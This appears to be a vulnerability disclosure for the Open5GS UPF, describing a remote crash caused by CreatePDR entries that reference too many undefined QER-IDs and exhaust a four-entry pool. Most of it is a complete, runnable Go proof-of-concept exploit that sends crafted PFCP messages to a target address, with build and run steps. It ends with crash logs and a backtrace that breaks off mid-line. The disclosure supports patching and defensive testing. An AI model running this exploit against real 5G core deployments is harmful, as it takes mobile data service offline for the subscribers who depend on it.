| Beschreibung | ### Description
During PFCP Session Establishment, UPF automatically allocates a QER whenever a CreatePDR references a QER-ID, even if no CreateQER IE was supplied. Because the per-session pool only holds four QER objects, including five or more PDRs with unique QER-IDs forces the allocator to run out of entries and reach the internal ogs_assert(qer) check. That assertion terminates open5gs-upfd, so any remote attacker can trigger a denial of service simply by referencing too many implicit QERs.
1. Start a new go project inside a new folder: `go mod init poc`
2. Create a `main.go` and paste the code below:
```
package main
import (
"encoding/hex"
"errors"
"flag"
"fmt"
"log"
"math/rand"
"net"
"os"
"strings"
"time"
"github.com/wmnsk/go-pfcp/ie"
"github.com/wmnsk/go-pfcp/message"
)
const (
defaultPFCPPort = 8805
readTimeout = 2 * time.Second
)
type pfcpClient struct {
nodeIP net.IP
seid uint64
seq uint32
}
func (c *pfcpClient) nextSeq() uint32 {
c.seq++
if c.seq == 0 || c.seq > 0x00ffffff {
c.seq = 1
}
return c.seq
}
func (c *pfcpClient) mandatoryIEs() []*ie.IE {
return []*ie.IE{
ie.NewNodeID(c.nodeIP.String(), "", ""),
ie.NewFSEID(c.seid, c.nodeIP, nil),
ie.NewPDNType(ie.PDNTypeIPv4),
}
}
func (c *pfcpClient) buildSession(ies ...*ie.IE) *message.SessionEstablishmentRequest {
payload := append([]*ie.IE{}, c.mandatoryIEs()...)
payload = append(payload, ies...)
return message.NewSessionEstablishmentRequest(0, 0, c.seid, c.nextSeq(), 0, payload...)
}
func (c *pfcpClient) sendAssociation(conn *net.UDPConn) error {
req := message.NewAssociationSetupRequest(
c.nextSeq(),
ie.NewNodeID(c.nodeIP.String(), "", ""),
ie.NewRecoveryTimeStamp(time.Now()),
ie.NewCPFunctionFeatures(0x3f),
)
return sendAndMaybeRead(conn, req)
}
type pfcpMarshaler interface {
Marshal() ([]byte, error)
}
func sendAndMaybeRead(conn *net.UDPConn, msg pfcpMarshaler) error {
payload, err := msg.Marshal()
if err != nil {
return fmt.Errorf("marshal PFCP message: %w", err)
}
if _, err := conn.Write(payload); err != nil {
return fmt.Errorf("send PFCP message: %w", err)
}
_ = conn.SetReadDeadline(time.Now().Add(readTimeout))
buf := make([]byte, 2048)
if _, err := conn.Read(buf); err != nil {
if ne, ok := err.(net.Error); ok && ne.Timeout() {
return nil
}
return fmt.Errorf("read PFCP response: %w", err)
}
return nil
}
func newForwardingFar(id uint32) *ie.IE {
return ie.NewCreateFAR(
ie.NewFARID(id),
ie.NewApplyAction(0x02), // FORW
ie.NewForwardingParameters(
ie.NewDestinationInterface(ie.DstInterfaceAccess),
),
)
}
func buildPdrWithoutQerDefinition(
client *pfcpClient, dnn string, accessIP net.IP,
teid uint32, pdrID uint16, precedence uint32,
farID uint32, qerID uint32,
) *ie.IE {
return ie.NewCreatePDR(
ie.NewPDRID(pdrID),
ie.NewPrecedence(precedence),
ie.NewPDI(
ie.NewSourceInterface(ie.SrcInterfaceAccess),
ie.NewNetworkInstance(dnn),
ie.NewFTEID(0x01, teid, accessIP, nil, 0),
),
ie.NewFARID(farID),
ie.NewQERID(qerID),
)
}
func buildSessionOverflowingQerPool(
client *pfcpClient, dnn string, accessIP net.IP,
baseTEID uint32, farID uint32, pdrCount int,
) *message.SessionEstablishmentRequest {
if pdrCount < 1 {
pdrCount = 1
}
pdrs := make([]*ie.IE, 0, pdrCount+1)
pdrs = append(pdrs, newForwardingFar(farID))
for i := 0; i < pdrCount; i++ {
qerID := uint32(100 + i)
pdrs = append(pdrs, buildPdrWithoutQerDefinition(
client,
dnn,
accessIP,
baseTEID+uint32(i),
uint16(i+1),
100+uint32(i),
farID,
qerID,
))
}
return client.buildSession(pdrs...)
}
func resolveTarget(target string) (string, error) {
if strings.Contains(target, ":") {
return target, nil
}
return fmt.Sprintf("%s:%d", target, defaultPFCPPort), nil
}
func main() {
var (
target = flag.String("target", "127.0.0.1:8805", "UPF PFCP endpoint (host[:port])")
nodeIPStr = flag.String("node-ip", "10.0.0.1", "Local NodeID (IPv4)")
accessStr = flag.String("access-ip", "10.0.0.2", "IPv4 for PDR F-TEIDs")
dnn = flag.String("dnn", "internet", "Network Instance / DNN")
farID = flag.Uint("far-id", 9, "FAR ID shared by all PDRs")
teidBase = flag.Uint("teid-base", 0x20000000, "Base TEID used for CreatePDRs")
pdrCount = flag.Int("pdr-count", 6, "Number of CreatePDR IEs to install (>=5 triggers crash)")
skipAssoc = flag.Bool("skip-assoc", false, "Skip PFCP Association Setup")
dumpHex = flag.Bool("dump", false, "Dump crafted Session Establishment bytes")
seidFlag = flag.Uint64("seid", 0, "Override CP F-SEID (defaults to random)")
)
flag.Parse()
nodeIP := net.ParseIP(*nodeIPStr)
if nodeIP == nil {
log.Fatalf("invalid node-ip: %s", *nodeIPStr)
}
accessIP := net.ParseIP(*accessStr)
if accessIP == nil {
log.Fatalf("invalid access-ip: %s", *accessStr)
}
resolvedTarget, err := resolveTarget(*target)
if err != nil {
log.Fatalf("resolve target: %v", err)
}
remoteAddr, err := net.ResolveUDPAddr("udp", resolvedTarget)
if err != nil {
log.Fatalf("resolve UDP addr: %v", err)
}
conn, err := net.DialUDP("udp", nil, remoteAddr)
if err != nil {
log.Fatalf("dial PFCP: %v", err)
}
defer conn.Close()
seid := *seidFlag
if seid == 0 {
rand.Seed(time.Now().UnixNano())
seid = uint64(rand.Uint32())<<32 | uint64(rand.Uint32())
}
client := &pfcpClient{nodeIP: nodeIP, seid: seid, seq: uint32(rand.Intn(0xffffff))}
log.Printf("POC: Exhaust per-session QER pool via implicit QER creation from PDR references")
log.Printf("Location: lib/pfcp/context.c:1997 in ogs_pfcp_qer_find_or_add() -> ogs_assert(qer)")
log.Printf("Trigger: >4 CreatePDR IEs each referencing a unique QER-ID without CreateQER definitions")
log.Printf("Target UPF: %s", resolvedTarget)
log.Printf("Node IP: %s", nodeIP.String())
log.Printf("Access IP: %s", accessIP.String())
log.Printf("DNN: %s", *dnn)
log.Printf("F-SEID: 0x%x", client.seid)
log.Printf("PDR Count: %d (OGS_MAX_NUM_OF_QER = 4)", *pdrCount)
log.Printf("")
if !*skipAssoc {
if err := client.sendAssociation(conn); err != nil {
log.Printf("association setup failed: %v", err)
} else {
log.Printf("association setup request sent to %s", resolvedTarget)
}
}
req := buildSessionOverflowingQerPool(
client,
*dnn,
accessIP,
uint32(*teidBase),
uint32(*farID),
*pdrCount,
)
payload, err := req.Marshal()
if err != nil {
log.Fatalf("marshal session establishment: %v", err)
}
if *dumpHex {
fmt.Printf("Session Establishment (%d bytes):\n%s\n", len(payload), hex.Dump(payload))
}
if _, err := conn.Write(payload); err != nil {
log.Fatalf("send session establishment: %v", err)
}
_ = conn.SetReadDeadline(time.Now().Add(readTimeout))
buf := make([]byte, 2048)
if n, err := conn.Read(buf); err == nil {
fmt.Printf("received %d-byte response\n", n)
} else if !errors.Is(err, os.ErrDeadlineExceeded) {
if ne, ok := err.(net.Error); ok && ne.Timeout() {
log.Printf("no response within %s (expected if UPF aborts)", readTimeout)
} else {
log.Printf("read response: %v", err)
}
} else {
log.Printf("no PFCP response (expected on crash)")
}
}
```
3. Download required libraries: go mod tidy
4. Run the program with the upf pfcp server address:
```
go run main.go \
-target 10.33.33.3:8805 \
-node-ip 10.33.33.4 \
-access-ip 10.33.33.2 \
-dnn internet \
-pdr-count 6
```
### Logs
```shell
11/26 11:05:02.248: [upf] INFO: [Added] Number of UPF-Sessions is now 1 (../src/upf/context.c:209)
11/26 11:05:02.248: [upf] DEBUG: Session Establishment Request (../src/upf/n4-handler.c:66)
11/26 11:05:02.248: [core] ERROR: Invalid FQDN encoding[j:0+len:105] + 1 > length[8] (../lib/proto/types.c:429)
0000: 696e7465 726e6574 internet
11/26 11:05:02.248: [pfcp] ERROR: Invalid pdi.network_instance (../lib/pfcp/handler.c:525)
11/26 11:05:02.248: [core] ERROR: Invalid FQDN encoding[j:0+len:105] + 1 > length[8] (../lib/proto/types.c:429)
0000: 696e7465 726e6574 internet
11/26 11:05:02.248: [pfcp] ERROR: Invalid pdi.network_instance (../lib/pfcp/handler.c:525)
11/26 11:05:02.248: [core] ERROR: Invalid FQDN encoding[j:0+len:105] + 1 > length[8] (../lib/proto/types.c:429)
0000: 696e7465 726e6574 internet
11/26 11:05:02.248: [pfcp] ERROR: Invalid pdi.network_instance (../lib/pfcp/handler.c:525)
11/26 11:05:02.248: [core] ERROR: Invalid FQDN encoding[j:0+len:105] + 1 > length[8] (../lib/proto/types.c:429)
0000: 696e7465 726e6574 internet
11/26 11:05:02.248: [pfcp] ERROR: Invalid pdi.network_instance (../lib/pfcp/handler.c:525)
11/26 11:05:02.248: [core] ERROR: Invalid FQDN encoding[j:0+len:105] + 1 > length[8] (../lib/proto/types.c:429)
0000: 696e7465 726e6574 internet
11/26 11:05:02.248: [pfcp] ERROR: Invalid pdi.network_instance (../lib/pfcp/handler.c:525)
11/26 11:05:02.248: [pfcp] ERROR: qer_id_pool() failed (../lib/pfcp/context.c:2006)
11/26 11:05:02.248: [pfcp] FATAL: ogs_pfcp_qer_find_or_add: Assertion `qer' failed. (../lib/pfcp/context.c:2043)
11/26 11:05:02.248: [core] FATAL: backtrace() returned 12 addresses (../lib/core/ogs-abort.c:37)
/usr/local/lib/libogspfcp.so.2(ogs_pfcp_qer_find_or_add+0x11d) [0x7fc2b4f0af24]
/usr/local/lib/libogspfcp.so.2(ogs_pfcp_handle_create_pdr+0x17bf) [0x7fc2b4ef4bd5]
open5gs-upfd(+0x1723c) [0x55bd4da0c23c]
open5gs-upfd(+0x1022c) [0x55bd4da0522c]
/usr/local/lib/libogscore.so.2(ogs_fsm_dispatch+0x119) [0x7fc2b4f9b374]
open5gs-upfd(+0xea3f) [0x55bd4da03a3f]
/usr/local/lib/libogscore.so.2(ogs_fsm_dispatch+0x119) [0x7fc2b4f9b374]
open5gs-upfd(+0x78fa) [0x55bd4d9fc8fa]
/usr/local/lib/libogscore.so.2(+0x119a3 |
|---|